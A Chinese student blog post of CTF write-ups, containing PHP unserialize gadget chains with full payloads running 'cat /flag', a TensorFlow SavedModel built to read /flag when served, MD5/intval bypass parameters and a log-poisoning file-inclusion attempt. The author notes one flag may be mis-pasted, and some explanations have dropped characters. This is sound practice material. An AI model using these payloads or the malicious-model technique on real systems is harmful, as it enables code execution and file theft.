先发一点库存,最近打的还没整理好思路
本文最后更新于6 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

CTFWP

MY FIRST 0xGame 2025

1.WEB

  • Lemon

这道题考察了一个查看源代码的方式,现在在这里总结一下:Ctrl+Shift+I 右键检查 F12

YCB 2025

1.WEB

ez_unserialize

这道题是一个反序化考察

<?php
class H { public $who; }
class A { public $first; public $step; public $next; }
class V { public $good; public $keep; public $dowhat; public $go; }
class E { private $you; public $found; private $secret = "admin123"; }
class F { public $fifth; public $step; public $finalstep; }
class N { public $congratulation; public $yougotit; }
class U { public $almost; public $there; public $cmd; }

// 构造 N 实例(用于 U->there)
$n = new N();

// 构造 U 实例(最终执行命令)
$u = new U();
$u->there = $n;
$u->cmd = "whoami"; // 替换为要执行的命令(如 ls、cat /flag 等)

// 构造 F 实例(finalstep 设为小写 u 绕过正则)
$f = new F();
$f->finalstep = "u";

// 构造 E 实例(found 指向 F)
$e = new E();
$e->found = $f;

// 构造 V 实例(dowhat 为 secret,go 指向 E)
$v = new V();
$v->dowhat = "secret";
$v->go = $e;

// 构造 A 实例(next 指向 V)
$a = new A();
$a->next = $v;

// 构造 H 实例(who 指向 A,作为入口)
$h = new H();
$h->who = $a;

// 生成序列化字符串
echo serialize($h);
?>

然后放入在线工具里面运行可得到payload,再用hackbar用POST传参,要先把payload换为url

payload=O:1:"H":1:{s:3:"who";O:1:"A":3:{s:5:"first";N;s:4:"step";N;s:4:"next";O:1:"V":4:{s:4:"good";N;s:4:"keep";N;s:6:"dowhat";s:6:"secret";s:2:"go";O:1:"E":2:{s:10:"\00E\00you";N;s:5:"found";O:1:"F":3:{s:5:"fifth";N;s:4:"step";N;s:9:"finalstep";s:1:"u";}}}}}&cmd=whoami

回显www.date

payload=O:1:"H":1:{s:3:"who";O:1:"A":3:{s:5:"first";N;s:4:"step";N;s:4:"next";O:1:"V":4:{s:4:"good";N;s:4:"keep";N;s:6:"dowhat";s:6:"secret";s:2:"go";O:1:"E":2:{s:10:"\00E\00you";N;s:5:"found";O:1:"F":3:{s:5:"fifth";N;s:4:"step";N;s:9:"finalstep";s:1:"u";}}}}}&cmd=cat \flag

然后得到DASCTF{81597777616436616027819952057806}(欸,好像这里粘贴的时候有点问题,数字可能不正确,算了无关紧要)

2.DS&Ai

Mini-modelscope

这是一道创建一个包含文件读取逻辑的 TensorFlow 模型,并保存为上述结构的 SavedModel

# build_model_tfio.py
# 使用纯 TensorFlow op 在 Graph 中读取 /flag 并作为 signature 返回
# 运行环境需要安装 tensorflow (建议 tensorflow-cpu)
#
# 生成: model.zip

import os
import zipfile

try:
    import tensorflow as tf
except Exception as e:
    raise SystemExit("请先安装 TensorFlow: pip install tensorflow-cpu\n错误: " + str(e))

OUT_DIR = "model_saved"
ZIP_PATH = "model.zip"

# 清理
if os.path.exists(OUT_DIR):
    import shutil
    shutil.rmtree(OUT_DIR)
if os.path.exists(ZIP_PATH):
    os.remove(ZIP_PATH)

# 纯 TF 的 serve 函数:在 Graph 中读取 /flag,确保返回 tf.Tensor (dtype=tf.string)
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def serve_fn(x):
    # tf.io.read_file 是一个图操作,返回 tf.Tensor(dtype=tf.string, shape=())
    data = tf.io.read_file("/flag")

    # 为兼容一些加载器/调用方,明确设置形状(标量),或者扩展成 [batch] 形式:
    # 1) 若调用端期待标量 string:直接返回 data
    # 2) 若调用端以 batch 形式调用(输入是 [N,1]),可以把 data 扩成 [N]
    #    下面示例把 data 重复为与输入 batch size 相同的向量
    batch_size = tf.shape(x)[0]
    data_vec = tf.repeat(tf.expand_dims(data, 0), repeats=batch_size)  # shape [batch_size]
    # 返回 dict,prediction 保持为 shape [batch_size] 的 tf.string 张量
    return {"prediction": data_vec}

# 备用的纯 TF signature(不读取文件),便于测试加载器是否能读取 SavedModel
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def noop_fn(x):
    batch_size = tf.shape(x)[0]
    const = tf.constant("MODEL_OK", dtype=tf.string)
    vec = tf.repeat(tf.expand_dims(const, 0), repeats=batch_size)
    return {"prediction": vec}

# 保存 Module,并显式把 "serve" signature 写入
class ModelModule(tf.Module):
    @tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
    def __call__(self, x):
        return serve_fn(x)

module = ModelModule()
tf.saved_model.save(module, OUT_DIR, signatures={"serve": serve_fn, "noop": noop_fn})

# 打包为 zip
with zipfile.ZipFile(ZIP_PATH, "w", compression=zipfile.ZIP_DEFLATED) as zf:
    for root, dirs, files in os.walk(OUT_DIR):
        for fname in files:
            full = os.path.join(root, fname)
            arcname = os.path.relpath(full, OUT_DIR)
            zf.write(full, arcname)

print("SavedModel saved to:", OUT_DIR)
print("Zipped to:", ZIP_PATH)

然后把这个作为脚本放在一个文件里面

python build_model_safe.py

再把这个输入CMD,将其转换为提交所需要的压缩包形式,回显即可获得

DASCTF{94363104116481304334166743854159}

?CTF

WEB

[Week3] 魔术大杂烩

这道题是做过的类型题,所以我选择先做这个,首先呢,显而易见是魔术链,我们需要构造一个 PHP 反序列化 payload,通过触发一系列魔术方法,最终执行eval函数。

<?php
highlight_file(__FILE__);
error_reporting(0);
class Wuhuarou{
    public $Wuhuarou;
    function __wakeup(){
        echo "Nice Wuhuarou!</br>";
        echo $this -> Wuhuarou;
    }
}
class Fentiao{
    public $Fentiao;
    public $Hongshufentiao;
    public function __toString(){
        echo "Nice Fentiao!</br>";
        return $this -> Fentiao -> Hongshufentiao;
    }
}
class Baicai{
    public $Baicai;
    public function __get($key){
        echo "Nice Baicai!</br>";
        $Baicai = $this -> Baicai;
        return $Baicai();
    }
}
class Wanzi{
    public $Wanzi;
    public function __invoke(){
        echo "Nice Wanzi!</br>";
        return $this -> Wanzi -> Xianggu();
    }
}
class Xianggu{
    public $Xianggu;
    public $Jinzhengu;
    public function __construct($Jinzhengu){
        $this -> Jinzhengu = $Jinzhengu;
    }
    public function __call($name, $arg){
        echo "Nice Xianggu!</br>";
        $this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
    }
}
class Huluobo{
    public $HuLuoBo;
    public function __set($key,$arg){
        echo "Nice Huluobo!</br>";
        eval($arg);
    }
}

if (isset($_POST['eat'])){
    unserialize($_POST['eat']);

这是题目,嗯现在我还是不会php要抓时间了解了,根据提示

  1. Wuhuarou 类:反序列化时触发__wakeup,会输出其Wuhuarou属性(若为对象,会触发该对象的__toString)。
  2. Fentiao 类__toString被触发时,会访问$this->Fentiao->Hongshufentiao(若$this->Fentiao是 Baicai 对象,访问不存在的Hongshufentiao会触发__get)。
  3. Baicai 类__get被触发时,会将$this->Baicai作为函数调用(若为 Wanzi 对象,会触发__invoke)。
  4. Wanzi 类__invoke被触发时,会调用$this->Wanzi->Xianggu()(若$this->Wanzi是 Xianggu 对象,调用不存在的Xianggu方法会触发__call)。
  5. Xianggu 类__call被触发时,会给$this->Xianggu->Bailuobo赋值(若$this->Xianggu是 Huluobo 对象,给不存在的Bailuobo赋值会触发__set)。
  6. Huluobo 类__set被触发时,会执行eval($arg),实现代码执行。
<?php
class Wuhuarou{public $Wuhuarou;}
class Fentiao{public $Fentiao; public $Hongshufentiao;}
class Baicai{public $Baicai;}
class Wanzi{public $Wanzi;}
class Xianggu{public $Xianggu; public $Jinzhengu; public function __construct($x){$this->Jinzhengu=$x;}}
class Huluobo{public $HuLuoBo;}

// 最终执行的代码(例如phpinfo())
$code = 'phpinfo();';

// 构建对象链
$huluobo = new Huluobo();
$xianggu = new Xianggu($code);
$xianggu->Xianggu = $huluobo;
$wanzi = new Wanzi();
$wanzi->Wanzi = $xianggu;
$baicai = new Baicai();
$baicai->Baicai = $wanzi;
$fentiao = new Fentiao();
$fentiao->Fentiao = $baicai;
$wuhuarou = new Wuhuarou();
$wuhuarou->Wuhuarou = $fentiao;

// 生成序列化payload
echo serialize($wuhuarou);
?>

通过这个我获取了一个payload,然后根据题目用eat传参,最后得到了phpinfo()[ phpinfo()是个 “信息收集工具”,能帮你看服务器环境和请求细节],并没有发现flag,emmm,题目没有提示用其他东西传参了,根据提示使用修改code

<?php
class Wuhuarou{public $Wuhuarou;}
class Fentiao{public $Fentiao; public $Hongshufentiao;}
class Baicai{public $Baicai;}
class Wanzi{public $Wanzi;}
class Xianggu{public $Xianggu; public $Jinzhengu; public function __construct($x){$this->Jinzhengu=$x;}}
class Huluobo{public $HuLuoBo;}

// 执行获取flag的命令(单引号包裹,无需转义)
$code = 'system(\'cat /flag\');';  // 注意内部单引号用反斜杠转义,避免与外层冲突

// 构建对象链
$huluobo = new Huluobo();
$xianggu = new Xianggu($code);
$xianggu->Xianggu = $huluobo;
$wanzi = new Wanzi();
$wanzi->Wanzi = $xianggu;
$baicai = new Baicai();
$baicai->Baicai = $wanzi;
$fentiao = new Fentiao();
$fentiao->Fentiao = $baicai;
$wuhuarou = new Wuhuarou();
$wuhuarou->Wuhuarou = $fentiao;

// 生成序列化payload
echo serialize($wuhuarou);
?>

这里的code需要注意,可以有两种形式另外一种用

$code = 'system("cat /flag");';

然后用POST传参即可获取flag

玄武杯

WEB

normal_php

题目描述:php特性+文件包含,来试试?

<?php 
highlight_file(__FILE__);
error_reporting(0);
include 'next.php';

if(isset($_GET['a']) && isset($_POST['c'])){
    $a=$_GET['a'];
    $c=$_POST['c'];
    parse_str($a,$b);
    if($b['cdusec']!==$c && md5($b['cdusec'])==md5($c)){
        $num1=$b['num'][0];
        $num2=$b['num'][1];

        if(in_array(10520,$b['num'])){
            echo "记住这个数";
            echo "
<br>";
        }else{
            die("这都记不住?");
        }

        if($num2==114514){
            die("我不想要这个数字!");
        }

        if(preg_match("/[a-z]/i", $num2)){
            die("还想十六进制绕过?");
        }

        if(strpos($num2, "0")){
            die("还想八进制绕过?");
        }

        if(intval($num2,0)==114514){
            echo "好了你可以去下一关了".$next;
        }else{
            echo "我现在又想要了,嘻嘻";
        }

    }else{
        echo "不er,md5你不会";
    }

}else{
    echo "你看看传什么呢";
} 你看看传什么呢

GET: ?a=cdusec%3DQNKCDZO%26num%5B%5D%3D10520%26num%5B%5D%3D0337522

POST: c=240610708

好了你可以去下一关了/leeevvvel2222222.php

解释:

服务器对 $num2 做了这些检查(按出现顺序):

  1. if($num2==114514) → 宽松比较(==),如果字符串被当作数字 114514 就会被拦下。
  2. if(preg_match("/[a-z]/i", $num2)) → 禁止包含英文字母 a–z(大小写都禁)。
  3. if(strpos($num2, "0")) → 这个写法是 bug:当 在位置 0strpos 返回 (被当作 false),不会触发 die;但如果 在其它位置(返回正整数)就会触发 die
  4. if(intval($num2,0)==114514) → 最终用 intval 且 base=0(自动识别 0 前缀为 八进制、0x 前缀为十六进制)判断是否等于 114514。

我们要构造一个 $num2,满足:

  • 宽松比较 $num2==114514 为假(即不要被当作十进制 114514);
  • 包含 a–z;
  • 若包含 ,只能放在 最前面(位置 0),以绕过 buggy strpos 检查;
  • intval($num2,0) 要等于 114514(通过八进制/十六进制机制)。
<?php

#flag在/flag中,试着读读?

error_reporting(0);

if(isset($_GET['filename'])){
    $file=$_GET['filename'];
    if(!preg_match("/flag|php|filter|base64|text|read|resource|\=|\'|\"|\,/",$file)){
        include($file);
    }
}else{
    highlight_file(__FILE__);
}

$file=$_GET[‘filename’];通过这里我传入参数,进行rce绕过

尝试路径截断:?filename=/./flag没有回显

/flag|php|filter|base64|text|read|resource|\=|\’|\”|\%/要避开这个正则

我询问ai思路它建议使用User-Agent: 输入恶意内容

根据linux常用路径?filename=/var/log/apache2/access.log进行get传参

原照没找到了/哭泣,将就看吧

得到NSSCTF{e6401fc9-1b70-4dac-b2e8-3938b95535ef}

CTF SHOW

1.Base64多层嵌套解码

查看源码发现用户名为admin,密码为SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=,根据题目提示Base64多层嵌套解码,额,首先我是不知道这个是什么的,所以我把它在base64里面循环了几次,最后一堆乱码,发现有问题,突然在密码下面发现这个,看不懂,给ai

function validatePassword(input) {
                let encoded = btoa(input);
                encoded = btoa(encoded + 'xH7jK').slice(3);
                encoded = btoa(encoded.split('').reverse().join(''));
                encoded = btoa('aB3' + encoded + 'qW9').substr(2);
                return btoa(encoded) === correctPassword;
            }

得知这是密码的还原方法,想哭,还是太菜了,不理解,可恶。下面是解释:

let encoded = btoa(input);                           // ① base64
encoded = btoa(encoded + 'xH7jK').slice(3);          // ② 拼接 + 再次 b64 + 去前 3 字符
encoded = btoa(encoded.split('').reverse().join(''));// ③ 反转 + b64
encoded = btoa('aB3' + encoded + 'qW9').substr(2);   // ④ 再拼接 + b64 + 去前 2 字符
return btoa(encoded) === correctPassword;            // ⑤ 最后再 b64

按照这个思路我依次返回。得到ñ7316。

验证即为最后答案。

后面还有个浏览器验证,改一下代理即可。

文末附加内容
No Comments

Send Comment Edit Comment


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
Next